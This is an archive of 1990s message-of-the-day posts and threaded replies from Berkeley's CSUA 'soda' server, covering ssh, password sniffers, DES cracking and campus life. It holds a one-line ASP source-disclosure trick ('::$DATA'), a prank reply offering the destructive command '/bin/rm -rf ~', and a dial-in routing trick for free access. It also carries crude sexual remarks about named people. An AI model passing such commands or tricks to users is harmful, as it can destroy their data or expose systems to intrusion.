                   \_ One-time passwords are somewhat limited compared to
                      SSH, though, since they don't typically encrypt the
                      contents of your session (thus preventing you from
                      safely typing other passwords from within telnet).
                      Better than nothing, though.
                      \_ The point was not everyone can use ssh.
                      \_ ssh is also much better than telnet for dealing
                         with flaky connections that drop a lot of packets
                         for extended periods of time, if you don't want
                         to lose link.  For some reason.  Can someone
                         explain this?  I'm curious.  -John
                         \_ TCP_KEEPALIVES-- telnet uses them, ssh doesn't.
                            odd that the SO_KEEPALIVE would cause to lose
                            connections in a lossy network, but thats how
                            it works. -ERic
        \_ Since the 43-net runs through public access labs that anyone can
           bring their laptop into and start sniffing, always assume packets
           to soda are being sniffed.
           \_ Why isn't access at the public access labs run on switches?
              Is there a reason to expose the communications "backbone"?
                \_ What's the notation for "current PID" in most shells and
                   Perl?  There's your answer.
                        \_ Geek.  Just say $$.  Sheesh.  Had to be "clever"?
                \_ Switches cost money - the dept's just barely finishing
                    converting Cory Hall - Soda Hall is scheduled to be
                    converted as soon as they figure out who's paying for it.
                    \_ the cost difference between switched and shared is
                        negligible these days.  -tom
                        \_ But they already have shared and already paid.
                           Also, maybe they want to wait for Fast Ethernet?
                \_ Because the university by its nature is always behind.

7/24    What is the best way to do encrypted FTP? I'd like to do the data
        stream, but I'd settle for the command channel. Anonymous FTP would
        be nice, too. SSL is the only method I've investigated. Ideas? --dim
        \_ SSH port forwarding for this is pretty standard; you might need to
           use passive FTP.  Datafellows is also coming out with an FTP client
           with built-in SSH soon, they say.  If you don't need interactive
           capability, SCP is far better. -- schoen
           \_ Already using SCP, but have need for FTP. Port forwarding as
              described in the SSH FAQ is not an option. I need a more
              transparent solution. Thanks. --dim

   /- Whoa, news from the future!

7/13    http://www.distributed.net/des crack the Data Encryption Standard
        using idle time on your computer, prove it's inadequate.
        \_ get a life.
           \_ Oh SURE . . . you say that now, but wait until 3:30 AM on that
              fine Sunday morning, when the black helicopters hover over your
              house, and the black ropes come out, and zombie Nazi mind-slaves
              (vat-grown by the UN) wearing black body armor rappel down them
              to burst through your front door and kill you and the wife and
              little Timmy, ALL BECAUSE THAT E-MAIL TO GRANDMA FLO AND
              GRANDPA MEL ABOUT LITTLE TIMMY'S SOCCER GAME LAST WEDNESDAY
              used WEAK DES ENCRYPTION . . . don't expect me to cry for you
              _then_.  Bastard.
                \_ We don't work on Sundays.  -Black Mask Man
           \_ Why do you not like announcements of techie stuff?  This IS the
              "Computer Science" Undergraduate Association, is it not?
                \_ "using idle time on your computer [soda]"....
                        \_ soda is not your computer
                                \_ soda is our computer.  keep this stupid
                                   crap off.
                                   crap off.  It's already well known that
                                   DES is inadequate.  It's been proved.
                                   This is nothing more than a GeekEgo thing.
                   \_ Don't do that, then.
           \_ Think of it this way.  You get $$$ if you personally break
              it.  Of course, people who do CS only for that reason
              deserve to be shot.
              \_ That's not CS, it's CE.
                \_ It's not even CE.  It's running a black-box program on your
                   computer.
              \_ There are other reasons to do it money: curiosity, politics.
        \_ Is there a Cal team this time?  -- yuen
           \_ Not unless I hear a lot of interest or unless the RC5 teams carry
              over.  Or ask Trey (rhyde@uclink4) if he wants to take it over
              again.  This contest is supposed to end in 9 days; it's not worth
              doing a lot of organizational work for something that's gone a
              week after you start. -- schoen, inheritor of UCB RC5 team contact

7/2     Microsoft security flaw. "::$DATA" behind any asp code will
         allow you to read source code.
        \_ So?  What about Microsoft isn't a security flaw?

6/18    http://www.fbi.gov/foipa/ufo.htm -- the truth is out there...
        \_ http://home.att.net/~ixlez/inexufo1a.htm

6/11    ssh 1.2.25 installed, to fix the crc checking security hole.
        The update broke hushlogin support; I hacked sshd to fix the
        problem for now (~mconst/pub/ssh/sshd-hushlogin-patch), and
        I'm sending a bug report out soon.  Let me know if anything
        else goes wrong.  --mconst
        \_ so *why* is the patch ifdef'd for only __FreeBSD__ when it looks
           like there's nothing OS dependent in it?? -ERic
           \_ My patch doesn't mention FreeBSD, it was already there -- the
              ssh-1.2.25 login_cap code is all in #ifdef __FreeBSD__ blocks.
              What broke is that under FreeBSD, sshd would ignore .hushlogin
              The problem was that under FreeBSD, sshd would ignore .hushlogin
              files and just look at login.conf.

6/4     Anyone have experience with http://best.com as web host provider? Good?
        Bad? Comparable alternatives?
        \_ Good.  No comparable alternatives.  -tom
        \_<DEAD>www.best.com/boxes/~indian<DEAD>
        \_ Best experience i've ever had with a web provider. They
                provide competent and beyond-the-call-of-duty technical
                support, FAQs, etc. -appel
                http://www.chaosium.com
                http://www.glorantha.com
           \_ I'm using it for two of my web sites (http://www.theil.com and
              http://www.docmisha.com and would definitely recommend it to
              other folks.  Haven't had such a good experience with their
              tech support though.   -genie
           \_ I plan on having several CGI scripts. They list a 1000cgi
              seconds/day. I highly doubt I'll reach that limit, but just
              so I have a reference, what type of program with how many
              uses per day would come close to hitting that quota?
                \_ run your CGI with "time foo.cgi" to see the amount of
                   CPU time it takes.  It's basically a non-issue unless
                   you're grabbing nude pictures out of a database. -tom
                   \_ Though wall-clock time on your system and wall-clock
                      time on their system may be rather different.
                      Is it an issue if you're grabbing pictures of clothed
                      people from a DB? :-)
                      \_ You're not charged for wall-clock time, you're charged
                         for CPU time.  They run boxes very similar to soda,
                         so CPU time here should be comparable.  It is unlikely
                         that you'll get enough hits to matter if you're
                         grabbing pictures of clothed people from a db.  -tom

6/3     ssh-1.2.23 installed, bugs to mconst.

5/10    How does the root know what the sniffer logged??!?!?
 Hi.  You are receiving this automated note because of a breakin to one
 of our machines.  The intruder installed a sniffer and began logging
 passwords.

 Your password appeared in those logs.

 Therefore, you should change your password immediately.  (If you use
                                                        \_ and use SSH
 the same password on several machines, don't forget to change it on all
 of them!)
        \_ Because the sniffer logged to disk and root can read the disk.
                DUH!
        \_ Because the sniffer E-mailed the passwords to somebody else, and
           root happened to run across the list one day when they were
           reading everybody's E-mail looking for interesting stuff, silly.
        \_ Because you logged in during the period of time the sniffer was
           active.  It's a good guess that your password was sniffed during
           that time.
        \_ "Appeared in" --> "we have a copy of, and we read".  Not telepathy.
        \_ so why the love affair with ssh? besides telnet,
           aren't the pop3 and ftp ports also vulnerable?
                \_ that's like asking "why the love affair with helmets?
                   aren't other body parts still vulnerable?" - protecting
                   the most important/used parts is better than going
                   completely unprotected
           \_ Yes, of course.  That's why SSH supports port redirection, so
              that you can securely use unencrypted services.  See the man
              page for ssh, options "-L" and "-R".  SSH is more than just a
              telnet replacement...
           \_ Don't use pop3 and use scp where you'd use ftp (although ssh
              can encrypt ftp's authentication). --dim
                \_ Huh?
                   \_ What's so hard about "don't use pop" or "use scp instead
                        of ftp"?
        \_ It's super cool sysadmin magic.
        \_ cuz root *is* the sniffer!
          \_ no, root is the Kwisatz Haderach.

5/12    As long as all these new jobs are getting announced in /csua/pub/jobs,
        a small request for people to please CLEAN OUT all the old jobs that
        are no longer relevant.  A number of postings there are owned by root
        because they were moved around.  Those responsible for them, please
        let me know if they are still relevant or can be deleted.       -lila
        \_ Princess Lila made a demand!  All must comply.
          \_ "small request".
          \_ Ohhh. Ahh.

5/5     From the MOTD on http://socrates.berkeley.edu:
        >On June 1, 1998 Communication and Network Services (CNS) will be
        >enhancing the Web access to the Campus Directories. At that time,
        >we will discontinue platform-specific Directory Services, such as
        >Unix fspb and Macintosh HyperPB, and gopher and telnet access to
        >Infocal.  This will not affect telnet/host presenter access to
        >Socrates,
        >
        >If you have any questions, please send e-mail
        >to cpadmin@profile.berkeley.edu.
         \_Who cares?
           \_ _I_ care, dammit.  Platform-specific directory users,
              I feel your pain . . .

4/17    If I want to use ssh to connect to a remote machine and run xwin
        apps, what is the command line to start, say, xterm.  And what do I
        need to set up beforehand?  -emarkp
        \_ unix: /bin/rm -rf ~
           windoze: fdisk
           mac: drag all your icons to the trash can.  empty trash can.
           \_ Um, I assume this is a comment about the security?  I though
              ssh was a secure way to transmit x-events.  Furthermore, this
              does not answer the question.  -emarkp
              \_ someone buy this man a clue
        \_  with a properly configured ssh, its all hidden 'silently' from
            you.  ssh to the remote host and run your x commands normally
            SSH 'silently' sets your DISPLAY environment correctly for you,
            and your shell commands will inherit it. -ERic
            \_ Where can I go to find docs to do the setup correctly?  Or
               is it simple enough to post here?  -emarkp
               \_ Have you actually tried to run xterm already?  If it
                  didn't work, maybe you want to give the error mesg
                  encountered.
                \_ The freeware 1.22 unix package had plenty of docs. RTFM.
                   It isn't that hard.
            \_ well the  'default setup' works 'correctly'.  If you have an
               idiot sysadmin who changed the defaults and put in things like
               disabling xforwarding in sshd config, then it won't work. -ERic

4/14   What's with the login uname? MS-DOS V3.3 ? Is this joke going to
       last forever?
       \_ It's no joke.  We've secretly replaced soda with an MS-DOS machine
          (with Microsoft DOS/Connect for networking) and we were hoping no
          one would notice -- but damn it, you've spoiled everything.  --root
          \_ MS-D0S???/?  1 CAN RUN K1NG"Z QU3ST 0N 1T!!!!1!!!
             BUT H0W DU 1 S3ND TH3 P1CTURZ 2 MY SKR33N??????  H3LP!!!1!
          \_ alias ver 'uname -a'
        \_ some perpetual April's Fools Joke
        \_ The best one so far, IMHO            -muchandr
        \_ The joke's still there.  jon@csua attaching his name as if
           he has done anything.

4/1     What is the difference between a segmentation fault and a bus error?
        \_ segmentation is an address fault. you have attempted to access
           an invalid address or one you do not have permission to access.
           bus error is usually an aligment violation. attempting to access
           an int on a non-word boundary, for example. --aaron
           \_ But why is it called bus error?  not alignment error?
                \_ It goes back to the days when Muni's schedule system was
                   computerised.  Due to boundary/alignment errors, they were
                   sending all the busses on the same route at the same time.
                   Thus, the bus error was created.

3/21    Ron Rivest is at it again: he's invented a technique to achieve
        message confidentiality with hash functions and no encryption,
        simple, intuitive, and completely non-export-controlled.
        http://theory.lcs.mit.edu/~rivest/chaffing.txt
        \_ note that he's just rephrased steganography to have a more dynamic
           method of mixing the message bits into another data stream, and he
           relies on message authentication to reject the superfluous data.
           old mechanical crypto systems in the 60s did stuff like that
           but filtered by using the same psuedo-random sequence as the
           sender. Rivest's method will require a good random generator at
           the sender (to permute packet order for the chaff). it will
           \_ why do you think that?  my reading of his text didn't imply
              any packet order changes, just one or more chaff mesgs per
              valid packet.  please mail me --oj
              \_ The packets go out in the same order, but you have to send
                 chaff too, and the chaff has to be in an unpredictable
                 order with respect to the wheat.  If you always do
                 wheat1-chaff1-chaff1 wheat2-chaff2-chaff2 wheat3-chaff3-chaff3
                 it's not hard to figure out where the wheat is.
           also probably make everybody's exportable authentication code
           get reclassified as munitions, now that someone's pointed out
           how it "really is encryption" (the way regulators think). --karlcz
           p.s. he also requires that the secret authentication key get
           transported by some other secure means (public-key encryption
           for those of us without exploding-attache-case couriers ;-).
        \_ I'm not too terribly impressed.  As karlcz pointed out there's
           still this secret-key business thats required to create valid MACs
           and I'm not really psyched about the typical CSUA idiot adding
           300 chaff packets per wheat packet to keep their email and porn
           URLs secret from "Them".  The net is slogged enough as it is.
           What really needs to happen is to drop the ridiculous export
           controls.  If I'm a terrorist or in the mafia, I _am_ going to
           \_ That was exactly Rivest's point, though.  Obviously a block
              cipher is much more effective than chaffing, but it's currently
              in a very different political position.  But Rivest's own
              conclusion is: "Mandating government access to all communications
              is not a viable alternative.  The cryptography debate should
              proceed by mutual education and voluntary actions only."  That
              goes for international controls as well as domestic.
           use the best possible encryption for all communications, and
           be damned the US law.  Hello, duh, a terrorist or high powered
           mafioso is already going away for life.  Going to add 3 months
           of consecutive time for an encryption export violation?!?
           \_ you miss the point.  If encryption were export legal, then it'd
              be easy to market via consumer channels.  Once that happens,
              you can pretty much kiss good-bye law enforcement's ability to
              wire-tap even the petty criminals.
              \_ So the point wasn't to make a decent and reasonable secure
                 communications method, but was simply to snub law enforcement
                 with a hacked end run?
                 \_ Yeah, kinda looks that way.

02/16   In Apache, when I use .htaccess, how do I "log-off" from a browser?
        Thanks.
        \_ You're not "logged on" in the first place; http connections are
           stateless.  If the browser decides to store the username and
           password, that's the browser's business.
                \_ Okay then, how do I make the browser not use the username
                   and password during HTTP transaction then?
                        \_ Restart the browser or get one that lets you
                                clear stored passwords
                           \_ Restart-- you mean quit and start again? Sheesh
                                \_ Yep - sucks don't it?
                                \_ Yep.  Sucks don't it?
                        \_ It's totally browser-dependent.  Once Netscape
        /------------------/
        Once Netscape releases the source, expect the days to look like the
        80's when people have to deal with DOS 2.0/3.0/MSDOS/Windows 2.0/OS2
        Geoworks OS incompatibility, not mentioning incompatibilities between
        MSWord/WordPerfect/WordStar/AmiPro/Lotus/blah blah blah. Proliferation
        of many different warez means happiness and perhaps some creativity but
        it also means a lot of headache for the end users. Are the average
        American Joe sophisticated enough that they can handle so many
        different platforms with different HTML standards, plug-ins, c00l
        features, this and that, or they just want a simple burger that
        satisfies their stomach? What do the dumb average American Joes want?
                           releases the source you could make a "forget
                           passwords" button or something.
        \_ Seriously doubt Joe User is going to d/l a hacked up copy of NS
           from http://www.butchery.org  They're going to go to netscape, as always,
           and d/l the version made available by the NS people.  The NS
           version is going to be a "best-of-the-net" browser.  Or so says
        \_ Dronage deleted.  For your reference, it said:
        "\_ Next drone deletion means deletion of entire motd. Watch it u nazi."
           NS.
                \_ so?  what does this have to do with the above?
        "You have been warned"
           NS.
                \_ So?  What does this have to do with anything?
                  \_ It has to do with a large piece of text that was deleted.

2/12   Last month, the Clinton Administration announced that it will spend
       $28 million to retrain workers, create an Internet jobs bazaar and try
       to convince kids that the computer sciences are cool. The p.-r.
       blitz will include public service videos starring Jimmy Smits,
       tough-guy star of the television cop show NYPD Blue.
        \_ Isn't CS61A full enough already?
          \_ Not enough potstickers to go around anymore?
        \_ Oh good.. flood the industry with idiots and marginalize all of us.
          \_ The CS61A undergraduate teaching assistant industry?
        \_ WONDERFUL. More Microsoft-like people writing more code, and now
           applications will crash way more than ever. I remember the good 'ol
           days of text applications with DOS and apps just don't crash the
           way they do now. Microsoft/Netscape are two fine examples.

2/4     I have an obsession to crack root to read people's emails.
        Is that normal?
                \_ yes
        \_ ask marco
        \_ How would you do it on shadowed systems?
                \_ The Shadow knows....
                \_ <DEAD>www.rootshell.com<DEAD>
        \_ Don't bother.  As a sysadmin who has had real work reasons to
           read mail files over the years, I can assure you that no one's
           mail is worth reading, much less the effort required to acquire
           the access to do so.
           \_ but you get some good jokes sometimes...

2/2     If you've experienced frequent lost of connection to soda it's
        because you turned on your wall (wallall y).  Try turn them off
        and tail the wall log instead (tail -f) and see if that improves
        the reliability for you.
        \_ Do you have any basis for this statement at all?
                \_ Trust me on this one.
        \_ So you're saying that wallall affects my packets not being able to
           get through some router btwn my ISP and UCB? Wow.
           \_ Yeah, didn't you read the CERT advisory of April 1, 1997,
              "wallall Denial of Service Attack"?
        \_ Wall is more than just a program; it is a way of life.
        \_ Beware The Wall.  We don't need no education.

2/1     What is the easiest way to allow people (actually myself) to upload
        stuff through my web page?  --- clueless
        \_ DON'T DO IT.
        \_ This may open you up to a lot of security risks; think carefully
           when you implement something.  How do you want to do it?  Do you
           want to enter text into a form and then have it available as a
           file in an account somewhere?
           \_ Don't listen to these idiots.  The easiest way is probably
              HTTP PUT; see the Apache documentation.
                \_ Oh really?  So where's a page you wrote that allows
                   uploads?  Post the URL so we can all have fun hacking it.
                   \_ Why don't you just tell us how to hack HTTP PUT.
                      \_ "There are few scripts available which implement PUT
                         handling securely." _Apache Week_, April 4 1997
                         In concept it _can_ be secure, but it's not an
                         unrealistic concern; frequently the PUT scripts
                         have holes, even more than other CGI stuff.
                         \_ PUT is fairly simple; it is not difficult to write
                            a secure PUT script.  You don't need "many"
                            scripts available which implement PUT securely,
                            you only need one.
                            \_ right, but first you've got to find it. :-)
                                \_ If you use suexec, it's not hard to
                                   write one.  Just make all paths relative
                                   to the document root and disallow ".."
                                   and other funky characters.
                \_ YES! suexec is much more secure! We really should run
                   httpd on soda instead of scotch so that one will not be
                   able to kill the "nobody" process arbitrarily.
                                   \_ I'm still waiting to see your secure
                                      page.  Post the URL when you're ready.
                   \_ Oh, give it up.
        \_ thanks for all your responses.  I wanted to do this as a way to
           replace ftp to transfer my manifestos:-).  The web server is going
           to be running only when I need to transfer file and is shut down
           the moment the transfer is done.  So I guess it does not need to
           be too secure.  Anyway, the question is now whether I will get
           enough clue to find out how to write a minimal script. -- clueless
           \_ You must be too sexy to use scp.
              \_  No, Jobs is too sexy to have scp developed for mac.

1/21    ssh versions through 1.2.21 have security hole in ssh-agent - upgrade
        to 1.2.22 or stop using ssh agent until you do.
        \_ Uh oh... you mean people will be able to snoop my incredibly
           sensitive private email and see what porn I'm downloading?  Help!
           Help!  The sky is falling!
        \_ Any URL?
           \_ for the porn?
           \_ See:
              http://www.cs.hut.fi/ssh-archive/messages/980121-145129-28265 -dim
        \_ Once again, is there an URL confirming this?
           \_ http://www.cs.hut.fi/ssh-archive/messages/980121-145129-28265
           \_ Just read the freaking ssh 1.2.22 release notes or
                comp.security.ssh

11/18   Has anyone had trouble getting xlock to work with shadow
        passwords?  How do I get around it not knowing where to look
        for the passwords?  Having it setuid does not work.  -John
        \_ Hmm, I managed to get version 4.01 to work with shadow
           passwds. Maksure that on top of making the binary setuid
           that the binary is owned by root. -- marc
        \_ /usr/openwin/bin/xlock works fine with shadow passwords.

4/25    Every new account on soda comes with a file called "FAQ".  (If
        you lost your copy, a fresh one is always available in
        /usr/local/csua/FAQ .)  Please read it and remember it when you
        have questions/problems.  Asking root questions that it answers
        is grounds for getting really snide or obnoxious responses from
        root, if your mail is answered at all.

4/17    If you ever have problems logging into soda, please check the
        http://ucb.org.csua newsgroup for announcements of system problems
        before mailing root.  If there is a system problem, mailing
        root just fills root's mail spool once it's fixed and too late
        to do anything about it.  This and other useful information
        was in the FAQ file in your account when it was created.
        Please read it and remember it - if you lost your copy, a
        fresh one is always available in /usr/local/csua/FAQ.
        Asking root questions that it answers is grounds for getting
        really snide or obnoxious responses from root.

1/29    I bought a new HD, 4 gig, and I'd like to move everything from my
        old 1 gig to the 4 gig (4 gig = primary, 1 gig = secondary). Where
        can I find a good DOS backup utility that does this? Thanks.
        \_ DOS Tar's good
         \_ No, it doesn't do long name (8+ char), STUPID
        \_ what's wrong with copy /s d:\ c:\c_drive ?

10/28   The San Francisco Book Festival's this weekend, if anyone's
        interested... it's generally lots of fun -- interesting authors, poets,
        book crafts, etc.  More information's at http://www.sfbook.org
        There's generally a nominal admission charge, unfortunately. --tabloyd
        \_ youll pay hundreds for dorky computer equipment which will be worth
           half its value in 6 months, but you complain about a "nominal"
             admissions charge to a book festival... :)
           \_You should hear me complain about computer equipment (which we
             hardly ever buy anyway!).  But I just thought people should be
             aware that there is an admission fee -- you also have to pay to
             buy any books, unlike at the ABA, where it's all free.  --tabloyd
              \_ fair enough! :)

10/28   Why aren't the web server logs mounted on soda? People do like
        to see who is accessing their web pages.
        \_ Try mailing root and asking them.  Most likely it's just something
           no one's bothered to do yet as part of the changeover.
        \_ I'll let you serve my logs baby
        \_ I wanna see who's accessing your web pages, too...

10/24   IMPORTANT!   A sniffer was caught using one of the Cory Hall
        machines to get passwords to accounts on soda.  He sniffed net
        connections from the 240 subnet to soda and elsewhere.  Please
        change your password if there's any chance your account
        was compromised!

6/3  Anyone know how i can change my local address with Sproul over
        the Web?  I know they have a page for address change form...
        anyone know what it is?
         \_ I think that you can only do it from their Bear Facts
            macs that are scattered across campus.  - sagarwal
        \_ http://registrar.berkeley.edu:4202/BearFacts.html
           \_ You'd think they coulda spared a couple of IP addresses
              or something to give it it's own host/virtual host ...
         \_Actually DCNS is rather short of IP addresses and would
         rather not have to go buy another block from BBN/Planet
         until they absolutely have to, as the cost of them is going
         way up now that it's for-profit BBN and not the
         non-profit BARRnet running the connections
         Besides, why bother for a server that just says
         "Web access coming soon"?
         \_ They promised to make it accessible via WWW from
          any (campus ?) host but don't bet on it...
          \_ I would - the campus is pushing to get everything
          on the web - less headaches for them that way

6/4     PLEASE OH PLEASE mount scotch!  Last time I edited my web page,
        I didn't have a beard, and Menudo were still in style.
        \_ it doesn't matter much since no one can access it anyway.
           be patient and someday scotch will be fixed.
           \_ I just want to be able to ftp my files onto UCSEE's web server
              so then people CAN access it.  Please mount it just so that
         we can remove our files.
              \_ We are not going to mount it until scotch is stable.
          As has been mentioned before, if you really really really
          need your files, mail root and someone will get them for
          you and plop them down on soda.       -lila
              \_ How about hacking up a ftpd that allows non-anonymous
          access to scotch to update files?  I could put together
          such a beast... -ERic

3/1     Anyone knows where on campus can I find Xterminals to login directly
        to Soda without a facilities/departmental login?
        \_ yes.
           \_ what a jerk giving these smart ass remarks.
         \_ fuck you. if you want nice friendly advice, get off soda.
             \_ i won't give you the pleasure you nerd.  you can't get
          any.  :P  -word2yomomma!
        \_  343 soda has some xterminals you can use for this, and probably
            the machines in the lounge across the hall also.
            help@soda is generally more cheerful about giving answers.
          --PeterM
           \_ Where is the lounge located exactly and are the machines there
              color terms?  What are the hours for the lounge and 343?
        \_ that _jerk_ can learn something from PeterM. - dookie

2/18    CHANGE YOUR PASSWORD!  Someone has been snooping the net for
        passwords, and apparently got rather a lot of them.

2/21    If you would like your account moved to /usr10, mail root. /usr10 has
        lots of space, but has been known to crash.

2/9     on-line service surfer wanted for about
        10 hours of work.  send mail to hh@xcf if you're interested.
        you must have familiarty with and access to prodigy, aol,
        and compuserve.

                      _,.-----.,_
                   ,-~           ~-.
                 ,^___           ___^.
                /~"   ~"   .   "~   "~\
               Y  ,--._    I    _.--.  Y
               | Y     ~-. | .-~     Y |
               | |        }:{        | |
               j !       / | \       ! l
            .-~  (__,.--" .^. "--.,__)  ~-.
           (           / / | \ \           )
            \.____,   ~  \/"\/  ~   .____,/
             ^.____                 ____.^
                | |T ~\  !   !  /~ T| |
                | |l   _ _ _ _ _   !| |
                | l \/V V V V V V\/ j |
                l  \ \|_|_|_|_|_|/ /  !
                 \  \[T T T T T T]/  /
                  \  `^-^-^-^-^-^'  /
                   \               /
                    \.           ,/
                      "^-.___.-^"
You're dead.

2/9  Theodore == multiple login from different annex boxes man. Can we turn
        off the little fuckers account now?
          \_that is fucker's ... where is your grammar boy?
             \_ that should be "grammar, boy", as it is
         unlikely that you are talking about a
         child schooled in English who goes around
         explaining mistakes.
           \_ he was just being obtuse. he really meant:
            "... where is your aaron"

theodore  ttyrn    annex-64-1.Berke Thu Feb  9 03:03 - 03:25  (00:22)
theodore  ttyri    annex-64-1.Berke Thu Feb  9 02:58 - 09:40  (06:42)
theodore  ttypC    annex136-4.Berke Thu Feb  9 01:04   still logged in
theodore  ttyrY    annex136-4.Berke Thu Feb  9 00:40 - 02:57  (02:16)

1/20    Do not ask to be blown by root. Rumours of us rendering such
        favors to account holders are highly exaggerated.
        \_ Blow me.
         \_ mail whoeveryouare < prostitute
        \_ Rumor not exaggerated, but we need more women on CSUA staff.
          / \_ This isn't the way to get them...
         | \_ It's a better way to scare them off.
          \_ this pungent tang of feminism confirms a musing I had
             about how a feminist with insight is not a feminist
             at all, but I won't get into it here.
           \_ What makes you think this display of tast
              and maturity only disgusts women?
          \_ I'm sure that's the intent, o wise visionary.
           \_ Men give *way* better head than women.
            \_ You just haven't met the right women.  Or maybe you've just met
        exceptional men.
        \_ You obviously don't understand what I am talking about.
        \_ Rumor has it that ali gives good head.
           \_ not as good as partha (sorry, ali)
              \_ With a name like Banerjee, you know it has to be good

1/5     WWW is now setup on soda.  If you want to setup your own
        home page, cd in /www/<first letter of your login>/<your
        login name>/public_html and put your files there.
        If you do not have a directory in /www/, run
        /usr/local/adm/bin/makeme.

4/27    Someone has a 2.5-megabyte core file in /tmp which has been sitting
        around since 4/26.  Now *I* can't read news because the filesystem's
        full.  Why can't people be even slightly considerate?
        \_ This is soda, that's why.  Nobody gives a shit about what's in
           /tmp and so they don't delete it 'cause it's gonna get nuked
           eventually.  How often does the /tmp sweeper go through anyway?
         \_ Every week or so -- not nearly often enough.  Maybe we
            should have /tmp quotas too.  Say 1 meg soft, 10 megs
            hard or something like that.
          \-that is a stupid idea. look files have names attached
         to them ... just mail the person with a lot of old shit and
         tell them to delete it. cc: root if you want and if someone
         is incessantly a bozo, then root can send something stronger.
           \_ Something stronger you want?  Hmm...how
              about a little chsh or passwd gift?  Or
              maybe just an rm -r on the hoser's acct.
         \_ You twinks, /tmp is cleared of stuff not accessed in 3
            days every night.  Get a clue.

4/10    Still looking for a machine that doesn't crash.  Mail me - root

1/22    Politburo meetings are Fridays at noon in 238 Evans Hall.

         ***UNOFFICIAL MESSAGES BELOW***
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

                  F O R   O F F I C I A L   U S E   O N L Y

                                W A R N I N G

             YOU HAVE REACHED A U.S. GOVERNMENT COMPUTER OR DATA
           BASE, USED SOLELY BY THE U.S. GOVERNMENT, ITS OFFICERS,
              AND AGENTS.  IT IS A VIOLATION OF UNITED STATES CODE, TITLE I8,
        TO ACCESS AND USE U.S. GOVERNMENT COMPUTER RESOURCES WITHOUT
        SPECIFIC AUTHORIZATION.  EACH ACCESS IS SUBJECT TO RECORDING
         AND AUDITING.  WITHOUT SPECIFIC AUTHORIZATION FROM THE U.S.
           GOVERNMENT, YOU ARE AN INTRUDER.  INTRUDERS ARE SUBJECT
             TO CRIMINAL PROSECUTION, FINE, AND/OR IMPRISONMENT.
          ***********************************************************************
            ***COMMUNICATIONS SECURITY MONITORING NOTIFICATION***

            THE USE OF YOUR E-MAIL TERMINAL CONSTITUES CONSENT TO
                      COMMUNICATIONS SECURITY MONITORING
          ***********************************************************************
              FOR ASSISTANCE CONTACT COMMUNITY SERVICES CENTER
               TELEPHONE: (DSN) (510) 642-7453
                    E-MAIL:  Surveilance@soda.berkeley.edu

3/6  New cryptology advance renders DES _insecure_. Read sci.crypt for
        more info. Basically a machine like soda can break a 10 char crypt
        in about 8 hours. This has SERIOUS security ramifications.
        \_This technology is not that new.  The U.S. government has not
          allowed DES for use with classified documents for years.  This would
          imply that the government has cracked DES long ago.  If the
          civilian population has been able to crack it too, I would not
          be surprised.
        \_Yeah, and I've got a bridge I'd like to sell you, ya twink.
        \_Nice try.
          \_ Actually, I'm not the owner of the account of the person who
             wrote this. I broke into his account using the new super-duper
             technology fu thingy.
        \_ DES never was secure.  They've had DES-cracking LSI chips for at
           least a year that simply do an exhaustive search of the key-space
           really fast.

2/21    Read ~boss/Clipper for info on the clipper chip, and for a chance
        to add your name to a petition against it.
         \_ The issue of whether the government has a legal right to
            monitor communications (with the proper search warrant)
            is clouded and ignored by bandying about terms like
            "big brother" and "facist." It's ludicrous to think that
            the government will monitor *more* communications if
            Clipper passes.
                   \_ It's not ludicrous at all. Monitoring resources are
                      costly. If Clipper is easier -- cheaper -- to monitor
                      than alternative technologies, than the government
                      can listen in more than they would otherwise. Even
                      totalitarians are subject to economics...
            \_ Encryption now: none.
        Ease of tapping: easy.
        Encryption with Clipper: some.
        Ease of tapping: Less.
        This isn't brain surgery.  The government isn't asking
        for anything it doesn't already have.  Deal with the
        real issues instead of fear-mongering.
          \_ In addition, clipper will fool people into thinking
             they're safe when they aren't...so communications
             that were thought too important to trust to the net
             before will become open to the government.
             \_ Not without a search warrant.
                           \_ No, Clipper will fool *stupid* people into
                              thinking they're safe.  There's a difference.
         \_ It could be argues that Clipper provides increased privacy
            since it gives cell phone makers, etc. free encryption
            with no r&d costs.  I'd prefer knowing the line was secure
            from everyone buty the cops than open to anyone who knows
          what frequency to listen in on...
         \_ You're assuming that this wonderful algorithm that the
            NSA came up with is a good one.  Since it's so secret,
            it could be total bullshit for all anyone knows...although
            far be it for me to imply that the government is somehow
            able to make mistakes...
          \_ With the incredibly quick advances
           in technology, nothing is secure for more than
           a decade or two.

12/8    Apparently some idiot is going around calling soda users, telling
        them he's root@soda and that he needs their current password.
        root@soda would never do this, and if you're stupid enough to be
        duped by this guy, your account will be shut off.

10/10   Is leaving pgp on soda a good idea?  the physical control of the
        private key is lost when you leave it on soda...  -curious hoding
        \_ You can leave your public keyring here and use PGP via various
           add-ins for EMACS, Elm, and mail.  Then you can download any
           messages and decode them at home.  That's only if you're paranoid
           though.  You can just as easily just take permissions off the
           file and it will pretty safe for casual use.

5/19    Berkeley Systems, Inc (makers of the AfterDark screen saver) is looking
        for a full-time assistant in their Access products group -- products
        to make computers accessable by vision-impaired users.  Complete
        details in ~dwallach/bsi.job

5/24    Anybody know of an annex port in the Los Angeles area (818 area)
        that would allow me to connect to Berkeley computers?  kmanoj
        \_  dunno, but netcom has a Point Of Presence in LA area somewheres,
            if it's local to you it'll only be 17.50/mo, and you can use it
            in the bay area also....
        \_  How about numbers for UCLA, USC, or CSUN annex ports?  Anybody
            have those?
               forget it bud.  even if you have those numbers, the annex
            port is like berkeley's, won't let you connect outside its system
        \_  I've heard that the annex port at CalTech allows you to telnet
         out, but you need the IP address for whatever machine.
         Sorry, don't know the phone number.  -jesse
        \_ Okay, here's the story boys and girls.  Connect up to a CSU
           server that's local to you.  There's one in Northridge at
           (818) 701-0478; one in Los Alamos at (310) 985-9540.  From
           there, open a connection to SF State with "sf/40" (port 40).
           Then do a "connect <your-favorite-MUD>" command, and you're
           there!  Connection's kinda slow; but hey, it's semi-free!
           (Dunno about legality, so use at your own risk!)  I also
           have those CalTech numbers, so mail me if you want 'em
           -jctwu
        \_ I've warned them of this security hole and it will shortly
           be turned off.

4/17    /usr/local/csua is a goddamn mess, as is the life file.
        Some root hoser should clean it up instead of looking for
        ``criminals''...